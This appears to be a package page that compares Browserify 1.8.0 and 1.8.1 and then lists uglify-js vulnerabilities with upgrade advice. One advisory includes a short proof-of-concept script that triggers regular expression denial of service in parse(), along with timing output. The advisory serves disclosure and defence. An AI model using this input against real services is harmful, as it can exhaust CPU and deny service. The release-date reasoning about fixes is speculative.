Browserify, a cornerstone tool for JavaScript developers, enables the use of Node.js-style require() statements directly within browser-side code, streamlining dependency management and code organization. Examining versions 1.8.0 and 1.8.1 reveals subtle but potentially important changes for developers. Both versions share the same core functionality, offering browser-side module bundling essential for building modern web applications. The dependency lists for both versions remain identical, including crucial packages like resolve for module resolution and coffee-script for handling CoffeeScript files. Development dependencies, utilized for testing and code quality, also remain consistent, indicating a focus on stability and maintaining the existing feature set.
The key difference lies in the release date. Version 1.8.1 was released approximately ten days after 1.8.0. While the data doesn't explicitly state any specific bug fixes or performance improvements, the quick turnaround suggests that 1.8.1 likely addresses minor issues discovered in 1.8.0. For developers relying on Browserify, upgrading to the later version is generally recommended. By upgrading, one might expect potential stability enhancements or solutions to edge-case bugs that could impact build processes or application behavior, even if not explicitly documented in the provided metadata. Using the newer version reduces the risk of encountering known limitations present in earlier iterations.
All the vulnerabilities related to the version 1.8.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.